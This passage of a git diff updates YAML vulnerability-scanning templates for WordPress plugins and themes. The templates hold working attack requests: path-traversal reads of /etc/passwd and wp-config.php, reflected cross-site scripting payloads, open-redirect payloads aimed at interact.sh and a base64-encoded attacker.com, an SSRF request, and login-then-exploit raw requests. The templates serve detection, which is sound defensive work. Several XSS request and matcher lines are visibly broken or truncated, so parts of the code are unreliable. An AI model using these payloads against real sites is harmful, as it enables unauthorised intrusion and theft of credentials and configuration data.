type: status status: - 200 + +# Enhanced by mp on 2022/08/05 diff --git a/vulnerabilities/wordpress/health-check-lfi.yaml b/vulnerabilities/wordpress/health-check-lfi.yaml index c6e1a39f3c..3f766e2349 100644 --- a/vulnerabilities/wordpress/health-check-lfi.yaml +++ b/vulnerabilities/wordpress/health-check-lfi.yaml @@ -1,15 +1,19 @@ id: health-check-lfi info: - name: Health Check & Troubleshooting <= 1.2.3 - Authenticated Path Traversal + name: WordPress Health Check & Troubleshooting <1.24 - Local File Inclusion author: DhiyaneshDK severity: high - description: The Health Check & Troubleshooting WordPress plugin was affected by an Authenticated Path Traversal security vulnerability. - remediation: Fixed in version 1.2.4 + description: WordPress Health Check & Troubleshooting prior to 1.2.4 is vulnerable to local file inclusion. Exploitation does require authentication. + remediation: Upgrade to version 1.2.4 or later. reference: - https://wpscan.com/vulnerability/5eecc4a7-0b44-495d-9352-78dccebfc72a - https://www.synacktiv.com/ressources/advisories/WordPress_Health_Check_1.2.3_Vulnerabilities.pdf - tags: lfi,wp,wordpress,wp-plugin,authenticated,lfr + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: lfi,wp,wordpress,wp-plugin,authenticated,lfr,wpscan requests: - raw: @@ -43,3 +47,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/05 diff --git a/vulnerabilities/wordpress/members-list-xss.yaml b/vulnerabilities/wordpress/members-list-xss.yaml new file mode 100644 index 0000000000..dfe1948ff2 --- /dev/null +++ b/vulnerabilities/wordpress/members-list-xss.yaml @@ -0,0 +1,39 @@ +id: members-list-xss + +info: + name: WordPress Members List <4.3.7 - Cross-Site Scripting + author: Akincibor + severity: medium + description: WordPress Members List 4.3.7 does not sanitize and escape some parameters in various pages before outputting them back, leading to reflected cross-site scripting vulnerabilities. + reference: + - https://wpscan.com/vulnerability/d13f26f0-5d91-49d7-b514-1577d4247648 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: wp,wordpress,wp-plugin,xss,wpscan + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/members-list/admin/view/user.php?page=%22%3E%3Cimg%20src%20onerror=alert(document.domain)%20x' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"> HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '&a\">&extensions=' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/mthemeunus-lfi.yaml b/vulnerabilities/wordpress/mthemeunus-lfi.yaml index bb1b5770e5..2c6147bf76 100644 --- a/vulnerabilities/wordpress/mthemeunus-lfi.yaml +++ b/vulnerabilities/wordpress/mthemeunus-lfi.yaml @@ -1,14 +1,18 @@ id: mthemeunus-lfi info: - name: mTheme-Unus Theme - Local File Inclusion (LFI) + name: WordPress mTheme-Unus Theme - Local File Inclusion author: dhiyaneshDk severity: high - description: The mTheme-Unus WordPress Theme was affected by a css.php Local File Inclusion security vulnerability. + description: WordPress mTheme-Unus Theme is vulnerable to local file inclusion via css.php. reference: - https://wpscan.com/vulnerability/bc036ee3-9648-49db-ae52-3a58fdeb82eb - https://packetstormsecurity.com/files/133778/ - tags: wordpress,wp-theme,lfi,wordpress,mtheme + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: wpscan,packetstorm,wordpress,wp-theme,lfi,mtheme requests: - method: GET @@ -27,3 +31,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/05 diff --git a/vulnerabilities/wordpress/music-store-open-redirect.yaml b/vulnerabilities/wordpress/music-store-open-redirect.yaml index 762915a8cd..9ed2338893 100644 --- a/vulnerabilities/wordpress/music-store-open-redirect.yaml +++ b/vulnerabilities/wordpress/music-store-open-redirect.yaml @@ -8,17 +8,17 @@ info: reference: - https://wpscan.com/vulnerability/d73f6575-eb86-480c-bde1-f8765870cdd1 - https://seclists.org/fulldisclosure/2015/Jul/113 - tags: wordpress,redirect,wp-plugin,musicstore,wp + tags: musicstore,wp,wpscan,seclists,wordpress,redirect,wp-plugin requests: - raw: - | GET /wp-content/plugins/music-store/ms-core/ms-submit.php HTTP/1.1 Host: {{Hostname}} - Referer: https://example.com + Referer: https://interact.sh matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/vulnerabilities/wordpress/my-chatbot-xss.yaml b/vulnerabilities/wordpress/my-chatbot-xss.yaml index adb3a0d840..11fc1cecab 100644 --- a/vulnerabilities/wordpress/my-chatbot-xss.yaml +++ b/vulnerabilities/wordpress/my-chatbot-xss.yaml @@ -1,9 +1,9 @@ id: my-chatbot-xss info: - name: WordPress My Chatbot <= 1.1 - Reflected Cross-Site Scripting + name: WordPress My Chatbot <= 1.1 - Cross-Site Scripting author: dhiyaneshDk - severity: medium + severity: high description: WordPress My Chatbot <= 1.1 is susceptible to cross-site scripting. The plugin does not sanitize or escape its tab parameter in the Settings page before outputting it back in an attribute. reference: - https://wpscan.com/vulnerability/c0b6f63b-95d1-4782-9554-975d6d7bbd3d @@ -11,7 +11,7 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cwe-id: CWE-79 - tags: wordpress,wp-plugin,xss,authenticated + tags: wordpress,wp-plugin,xss,authenticated,wpscan requests: - raw: diff --git a/vulnerabilities/wordpress/nativechurch-wp-theme-lfd.yaml b/vulnerabilities/wordpress/nativechurch-wp-theme-lfd.yaml index 6f1dfbf9fe..bb6183b621 100644 --- a/vulnerabilities/wordpress/nativechurch-wp-theme-lfd.yaml +++ b/vulnerabilities/wordpress/nativechurch-wp-theme-lfd.yaml @@ -1,13 +1,15 @@ id: nativechurch-wp-theme-lfd info: - name: WordPress NativeChurch Theme - Arbitrary File Retrieval + name: WordPress NativeChurch Theme - Local File Inclusion author: 0x_Akoko severity: high - description: An arbitrary file retrieval vulnerability in the download.php file in the NativeChurch Theme allows attackers to download files from the system. + description: | + WordPress NativeChurch Theme is vulnerable to local file inclusion in the download.php file. reference: - https://packetstormsecurity.com/files/132297/WordPress-NativeChurch-Theme-1.0-1.5-Arbitrary-File-Download.html - tags: wordpress,wp-theme,lfi + - https://wpscan.com/vulnerability/2e1062ed-0c48-473f-aab2-20ac9d4c72b1 + tags: wp-theme,lfi,wp,packetstorm,wpscan,wordpress requests: - method: GET @@ -17,10 +19,12 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "DB_NAME" - "DB_PASSWORD" - "DB_HOST" - "The base configurations of the WordPress" - part: body condition: and + +# Enhanced by mp on 2022/07/29 diff --git a/vulnerabilities/wordpress/new-user-approve-xss.yaml b/vulnerabilities/wordpress/new-user-approve-xss.yaml new file mode 100644 index 0000000000..a563667db3 --- /dev/null +++ b/vulnerabilities/wordpress/new-user-approve-xss.yaml @@ -0,0 +1,51 @@ +id: new-user-approve-xss + +info: + name: WordPress New User Approve <2.4.1 - Cross-Site Scripting + author: Akincibor + severity: medium + description: WordPress New User Approve 2.4.1 does not escape some URLs before outputting them back in attributes, leading to reflected cross-site scripting. + reference: + - https://wpscan.com/vulnerability/17f99601-f5c9-4300-9b4a-6d75fa7ab94a + - https://wordpress.org/plugins/new-user-approve + metadata: + verified: true + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: wordpress,xss,authenticated,wp-plugin,wpscan,wp + +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + + - | + GET /wp-admin/index.php?a%22%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '?a">&new-user-approve-settings' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/newsletter-manager-open-redirect.yaml b/vulnerabilities/wordpress/newsletter-manager-open-redirect.yaml deleted file mode 100644 index 2b65920e1e..0000000000 --- a/vulnerabilities/wordpress/newsletter-manager-open-redirect.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: newsletter-manager-open-redirect - -info: - name: Newsletter Manager < 1.5 - Unauthenticated Open Redirect - author: akincibor - severity: low - description: | - The plugin used base64 encoded user input in the appurl parameter without validation, to redirect users using the header() PHP function, leading to an open redirect issue. - reference: - - https://wpscan.com/vulnerability/847b3878-da9e-47d6-bc65-3cfd2b3dc1c1 - metadata: - verified: true - tags: wp-plugin,redirect,wordpress,wp,unauth - -requests: - - method: GET - path: - - "{{BaseURL}}/?wp_nlm=confirmation&appurl=aHR0cDovL2F0dGFja2VyLmNvbQ==" - - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)attacker\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/vulnerabilities/wordpress/newsletter-open-redirect.yaml b/vulnerabilities/wordpress/newsletter-open-redirect.yaml index 2960aceaa6..8dfa04f118 100644 --- a/vulnerabilities/wordpress/newsletter-open-redirect.yaml +++ b/vulnerabilities/wordpress/newsletter-open-redirect.yaml @@ -10,17 +10,17 @@ info: - https://wpscan.com/vulnerability/847b3878-da9e-47d6-bc65-3cfd2b3dc1c1 classification: cwe-id: CWE-601 - tags: wordpress,redirect,wp-plugin,newsletter,wp + tags: redirect,wp-plugin,newsletter,wp,wpscan,wordpress requests: - method: GET path: - - "{{BaseURL}}/?wp_nlm=confirmation&appurl=aHR0cHM6Ly9leGFtcGxlLmNvbQ==" + - "{{BaseURL}}/?wp_nlm=confirmation&appurl=aHR0cDovL2ludGVyYWN0LnNo" matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 # Enhanced by mp on 2022/04/13 diff --git a/vulnerabilities/wordpress/pieregister-open-redirect.yaml b/vulnerabilities/wordpress/pieregister-open-redirect.yaml index 1696507595..907b718272 100644 --- a/vulnerabilities/wordpress/pieregister-open-redirect.yaml +++ b/vulnerabilities/wordpress/pieregister-open-redirect.yaml @@ -10,17 +10,17 @@ info: - https://wordpress.org/plugins/pie-register/ classification: cwe-id: CWE-601 - tags: wordpress,redirect,wp-plugin,pieregister + tags: redirect,wp-plugin,pieregister,wpscan,wordpress requests: - method: GET path: - - "{{BaseURL}}/?piereg_logout_url=true&redirect_to=https://example.com" + - "{{BaseURL}}/?piereg_logout_url=true&redirect_to=https://interact.sh" matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' # Enhanced by mp on 2022/04/13 diff --git a/vulnerabilities/wordpress/sassy-social-share.yaml b/vulnerabilities/wordpress/sassy-social-share.yaml index 8d425c291c..f7790fbc98 100644 --- a/vulnerabilities/wordpress/sassy-social-share.yaml +++ b/vulnerabilities/wordpress/sassy-social-share.yaml @@ -1,10 +1,18 @@ id: sassy-social-share-xss info: - name: Sassy Social Share <= 3.3.3 - Cross-Site Scripting + name: Sassy Social Share <=3.3.3 - Cross-Site Scripting author: Random_Robbie severity: medium - tags: wordpress,wp-plugin,sassy,xss + description: | + WordPress Sassy Social Share 3.3.3 and prior is vulnerable to cross-site scripting because certain AJAX endpoints return JSON data with no Content-Type header set and then use the default text/html. In other words, any JSON that has HTML will be rendered as such. + reference: + - https://wpscan.com/vulnerability/4631519b-2060-43a0-b69b-b3d7ed94c705 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: xss,wp,wpscan,wordpress,wp-plugin,sassy requests: - method: GET @@ -29,4 +37,6 @@ requests: - type: status status: - - 200 \ No newline at end of file + - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/seo-redirection-xss.yaml b/vulnerabilities/wordpress/seo-redirection-xss.yaml index 41362a0a81..663d14f2e2 100644 --- a/vulnerabilities/wordpress/seo-redirection-xss.yaml +++ b/vulnerabilities/wordpress/seo-redirection-xss.yaml @@ -1,15 +1,19 @@ id: seo-redirection-xss info: - name: WordPress SEO Redirection < 7.4 - Reflected Cross-Site Scripting + name: WordPress SEO Redirection <7.4 - Cross-Site Scripting author: DhiyaneshDK severity: medium description: | - The plugin does not escape the tab parameter before outputting it back in JavaScript code, leading to a Reflected Cross-Site Scripting issue. + WordPress SEO Redirection 7.4 does not escape the tab parameter before outputting it back in JavaScript code, leading to a reflected cross-site scripting vulnerability. remediation: Fixed in version 7.4. reference: - https://wpscan.com/vulnerability/b694b9c0-a367-468c-99c2-6ba35bcf21ea - tags: wordpress,xss,wp-plugin,authenticated + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: wordpress,xss,wp-plugin,authenticated,wpscan requests: - raw: @@ -52,3 +56,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/shortcode-lfi.yaml b/vulnerabilities/wordpress/shortcode-lfi.yaml index 1bd28a766b..0fe1c934d2 100644 --- a/vulnerabilities/wordpress/shortcode-lfi.yaml +++ b/vulnerabilities/wordpress/shortcode-lfi.yaml @@ -1,16 +1,19 @@ id: shortcode-lfi info: - name: WordPress Plugin Download Shortcode Local File Inclusion (0.2.3) + name: WordPress Download Shortcode 0.2.3 - Local File Inclusion author: dhiyaneshDK severity: high - description: WordPress Plugin Download Shortcode is prone to a local file inclusion vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to obtain - sensitive information that could aid in further attacks. WordPress Plugin Download Shortcode version 0.2.3 is vulnerable; prior versions may also be affected. + description: WordPress Download Shortcode 0.2.3 is prone to a local file inclusion vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. Prior versions may also be affected. reference: - https://packetstormsecurity.com/files/128024/WordPress-ShortCode-1.1-Local-File-Inclusion.html metadata: - google-dork: inurl:wp/wp-content/force-download.php - tags: wordpress,wp-plugin,lfi,shortcode,wp + google-query: inurl:wp/wp-content/force-download.php + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: lfi,shortcode,wp,packetstorm,wordpress,wp-plugin requests: - method: GET @@ -29,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/29 diff --git a/vulnerabilities/wordpress/shortpixel-image-optimizer-xss.yaml b/vulnerabilities/wordpress/shortpixel-image-optimizer-xss.yaml new file mode 100644 index 0000000000..04d9bb9eb8 --- /dev/null +++ b/vulnerabilities/wordpress/shortpixel-image-optimizer-xss.yaml @@ -0,0 +1,50 @@ +id: shortpixel-image-optimizer-xss + +info: + name: WordPress ShortPixel Image Optimizer <4.22.10 - Cross-Site Scripting + author: Akincibor + severity: medium + description: WordPress ShortPixel Image Optimizer 4.22.10 does not escape generated URLs before outputting them back in an attribute, leading to reflected cross-site scripting. + reference: + - https://wpscan.com/vulnerability/8a0ddd14-7260-4fb6-bb87-2916aa41ff01 + - https://wordpress.org/plugins/shortpixel-image-optimiser + metadata: + verified: true + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: shortpixel,authenticated,wpscan,xss,wp-plugin,wp,wordpress + +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + - | + GET /wp-admin/options-general.php?page=wp-shortpixel-settings&"> HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '&\">&noheader=true&sp-action' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/simple-image-manipulator-lfi.yaml b/vulnerabilities/wordpress/simple-image-manipulator-lfi.yaml deleted file mode 100644 index a58df73c46..0000000000 --- a/vulnerabilities/wordpress/simple-image-manipulator-lfi.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: simple-image-manipulator-lfi - -info: - name: Simple Image Manipulator v1.0 - Remote file download - author: dhiyaneshDK - severity: high - description: In ./simple-image-manipulator/controller/download.php no checks are made to authenticate user or sanitize input when determining file location. - reference: - - https://packetstormsecurity.com/files/132962/WordPress-Simple-Image-Manipulator-1.0-File-Download.html - tags: wordpress,wp-plugin,lfi,wp - -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd' - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 diff --git a/vulnerabilities/wordpress/sniplets-lfi.yaml b/vulnerabilities/wordpress/sniplets-lfi.yaml deleted file mode 100644 index 757dff08fe..0000000000 --- a/vulnerabilities/wordpress/sniplets-lfi.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: sniplets-lfi - -info: - name: Wordpress Plugin Sniplets 1.1.2 - LFI - author: dhiyaneshDK - severity: high - reference: - - https://www.exploit-db.com/exploits/5194 - tags: wordpress,wp-plugin,lfi,wp - -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "DB_NAME" - - "DB_PASSWORD" - condition: and - - - type: status - status: - - 200 diff --git a/vulnerabilities/wordpress/sniplets-xss.yaml b/vulnerabilities/wordpress/sniplets-xss.yaml deleted file mode 100644 index 195e8e384f..0000000000 --- a/vulnerabilities/wordpress/sniplets-xss.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: sniplets-xss - -info: - name: Wordpress Plugin Sniplets - Cross-Site Scripting - author: dhiyaneshDK - severity: medium - description: Cross-site scripting (XSS) on Wordpress Plugin Sniplets - reference: - - https://www.exploit-db.com/exploits/5194 - tags: xss,wordpress,wp-plugin,wp - -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 diff --git a/vulnerabilities/wordpress/ultimatemember-open-redirect.yaml b/vulnerabilities/wordpress/ultimatemember-open-redirect.yaml index ba75da6fa4..704a2ea88e 100644 --- a/vulnerabilities/wordpress/ultimatemember-open-redirect.yaml +++ b/vulnerabilities/wordpress/ultimatemember-open-redirect.yaml @@ -7,15 +7,15 @@ info: description: The Ultimate Member WordPress plugin was vulnerable to an Unauthenticated Open Redirect vulnerability, affecting the registration and login pages where the "redirect_to" GET parameter was used. reference: - https://wpscan.com/vulnerability/97823f41-7614-420e-81b8-9e735e4c203f - tags: wp-plugin,redirect,wordpress + tags: wp-plugin,redirect,wordpress,wpscan requests: - method: GET path: - - "{{BaseURL}}/register/?redirect_to=https://example.com/" + - "{{BaseURL}}/register/?redirect_to=https://interact.sh/" matchers: - type: regex regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' part: header diff --git a/vulnerabilities/wordpress/video-synchro-pdf-lfi.yaml b/vulnerabilities/wordpress/video-synchro-pdf-lfi.yaml deleted file mode 100644 index 4e25b1b4b0..0000000000 --- a/vulnerabilities/wordpress/video-synchro-pdf-lfi.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: video-synchro-pdf-lfi - -info: - name: Videos sync PDF 1.7.4 - Unauthenticated Local File Inclusion - author: Hassan Khan Yusufzai - Splint3r7 - severity: high - reference: - - https://www.exploit-db.com/exploits/50844 - - https://wordpress.org/plugins/video-synchro-pdf/ - tags: wordpress,wp-plugin,lfi,wp - -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=../../../../../../../../../etc/passwd%00' - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 diff --git a/vulnerabilities/wordpress/w3c-total-cache-ssrf.yaml b/vulnerabilities/wordpress/w3c-total-cache-ssrf.yaml index 5c7fdc88b3..a3801f724b 100644 --- a/vulnerabilities/wordpress/w3c-total-cache-ssrf.yaml +++ b/vulnerabilities/wordpress/w3c-total-cache-ssrf.yaml @@ -1,21 +1,23 @@ id: w3c-total-cache-ssrf info: - name: Wordpress W3C Total Cache SSRF <= 0.9.4 + name: Wordpress W3C Total Cache <= 0.9.4 - Server Side Request Forgery (SSRF) author: random_robbie severity: medium - description: The W3 Total Cache WordPress plugin was affected by an Unauthenticated Server Side Request Forgery (SSRF) security vulnerability. + description: | + The W3 Total Cache WordPress plugin was affected by an Unauthenticated Server Side Request Forgery (SSRF) security vulnerability. reference: - https://wpvulndb.com/vulnerabilities/8644 - https://klikki.fi/adv/w3_total_cache.html - tags: wordpress,wp-plugin,cache,ssrf + tags: wordpress,wp-plugin,cache,ssrf,wp requests: - method: GET path: - '{{BaseURL}}/wp-content/plugins/w3-total-cache/pub/minify.php?file=yygpKbDS1y9Ky9TLSy0uLi3Wyy9KB3NLKkqUM4CyxUDpxKzECr30_Pz0nNTEgsxiveT8XAA.css' + matchers: - type: word + part: body words: - "NessusFileIncludeTest" - part: body diff --git a/vulnerabilities/wordpress/weekender-newspaper-open-redirect.yaml b/vulnerabilities/wordpress/weekender-newspaper-open-redirect.yaml index abbcd5095b..2175f30fcd 100644 --- a/vulnerabilities/wordpress/weekender-newspaper-open-redirect.yaml +++ b/vulnerabilities/wordpress/weekender-newspaper-open-redirect.yaml @@ -12,10 +12,10 @@ info: requests: - method: GET path: - - "{{BaseURL}}/wp-content/themes/weekender/friend.php?id=MTA0&link=aHR0cHM6Ly9leGFtcGxlLmNvbQ==" + - "{{BaseURL}}/wp-content/themes/weekender/friend.php?id=aHR0cHM6Ly9pbnRlcmFjdC5zaA==" matchers: - type: regex regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' part: header diff --git a/vulnerabilities/wordpress/woocommerce-pdf-invoices-xss.yaml b/vulnerabilities/wordpress/woocommerce-pdf-invoices-xss.yaml new file mode 100644 index 0000000000..b16d64dcae --- /dev/null +++ b/vulnerabilities/wordpress/woocommerce-pdf-invoices-xss.yaml @@ -0,0 +1,51 @@ +id: woocommerce-pdf-invoices-xss + +info: + name: WordPress WooCommerce PDF Invoices & Packing Slips <2.15.0 - Cross-Site Scripting + author: Akincibor + severity: medium + description: WordPress WooCommerce PDF Invoices & Packing Slips 2.15.0 does not escape some URLs before outputting them in attributes, leading to reflected cross-site scripting. + reference: + - https://wpscan.com/vulnerability/bc05dde0-98a2-46e3-b2c8-7bdc8c32394b + - https://wordpress.org/plugins/woocommerce-pdf-invoices-packing-slips/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: xss,wp,wordpress,woocommerce,authenticated,wpscan,wp-plugin + +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + + - | + GET /wp-admin/admin.php?page=wpo_wcpdf_options_page&tab=documents§ion=invoice&"> HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - ">" + - "WooCommerce PDF Invoices" + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/wordpress-accessible-wpconfig.yaml b/vulnerabilities/wordpress/wordpress-accessible-wpconfig.yaml index efb3cccd26..fce3ff8ba1 100644 --- a/vulnerabilities/wordpress/wordpress-accessible-wpconfig.yaml +++ b/vulnerabilities/wordpress/wordpress-accessible-wpconfig.yaml @@ -2,7 +2,7 @@ id: wordpress-accessible-wpconfig info: name: WordPress wp-config Detection - author: Kiblyn11,zomsop82,madrobot,geeknik,daffainfo,r12w4n + author: Kiblyn11,zomsop82,madrobot,geeknik,daffainfo,r12w4n,tess severity: medium description: WordPress `wp-config` was discovered. This file is remotely accessible and its content available for reading. classification: @@ -32,6 +32,7 @@ requests: - '{{BaseURL}}/wp-config.php~' - '{{BaseURL}}/wp-config.php-backup' - '{{BaseURL}}/wp-config.php.orig' + - '{{BaseURL}}/wp-config.php_orig' - '{{BaseURL}}/wp-config.php.original' - '{{BaseURL}}/_wpeprivate/config.json' diff --git a/vulnerabilities/wordpress/wordpress-bbpress-plugin-listing.yaml b/vulnerabilities/wordpress/wordpress-bbpress-plugin-listing.yaml index fd1ae9b37e..853cae35b3 100644 --- a/vulnerabilities/wordpress/wordpress-bbpress-plugin-listing.yaml +++ b/vulnerabilities/wordpress/wordpress-bbpress-plugin-listing.yaml @@ -7,7 +7,7 @@ info: description: Searches for sensitive directories present in the bbpress wordpress plugin. reference: - https://www.exploit-db.com/ghdb/6158 - tags: wordpress,listing,plugin + tags: wordpress,listing,plugin,edb requests: - method: GET diff --git a/vulnerabilities/wordpress/wordpress-elementor-plugin-listing.yaml b/vulnerabilities/wordpress/wordpress-elementor-plugin-listing.yaml index 3f1e03ab8f..8427ed4342 100644 --- a/vulnerabilities/wordpress/wordpress-elementor-plugin-listing.yaml +++ b/vulnerabilities/wordpress/wordpress-elementor-plugin-listing.yaml @@ -7,7 +7,7 @@ info: description: Searches for sensitive directories present in the elementor wordpress plugin. reference: - https://www.exploit-db.com/ghdb/6297 - tags: wordpress,listing,plugin + tags: listing,plugin,edb,wordpress requests: - method: GET diff --git a/vulnerabilities/wordpress/wordpress-git-config.yaml b/vulnerabilities/wordpress/wordpress-git-config.yaml index 0373acfeb3..2d2d71ad9a 100644 --- a/vulnerabilities/wordpress/wordpress-git-config.yaml +++ b/vulnerabilities/wordpress/wordpress-git-config.yaml @@ -7,7 +7,7 @@ info: description: Searches for the pattern /.git/config inside themes and plugins folder. reference: - https://hackerone.com/reports/248693 - tags: config,git,exposure,wordpress,wp-plugin,wp-theme + tags: hackerone,config,git,exposure,wordpress,wp-plugin,wp-theme requests: - method: GET diff --git a/vulnerabilities/wordpress/wordpress-gtranslate-plugin-listing.yaml b/vulnerabilities/wordpress/wordpress-gtranslate-plugin-listing.yaml index 10e417ba5c..25aac1dce8 100644 --- a/vulnerabilities/wordpress/wordpress-gtranslate-plugin-listing.yaml +++ b/vulnerabilities/wordpress/wordpress-gtranslate-plugin-listing.yaml @@ -7,7 +7,7 @@ info: description: Searches for sensitive directories present in the gtranslate wordpress plugin. reference: - https://www.exploit-db.com/ghdb/6160 - tags: wordpress,listing,plugin + tags: wordpress,listing,plugin,edb requests: - method: GET diff --git a/vulnerabilities/wordpress/wordpress-rce-simplefilelist.yaml b/vulnerabilities/wordpress/wordpress-rce-simplefilelist.yaml index d4a0254656..3788f80a46 100644 --- a/vulnerabilities/wordpress/wordpress-rce-simplefilelist.yaml +++ b/vulnerabilities/wordpress/wordpress-rce-simplefilelist.yaml @@ -1,14 +1,18 @@ id: wordpress-rce-simplefilelist info: - name: WordPress SimpleFilelist Unauthenticated Arbitrary File Upload 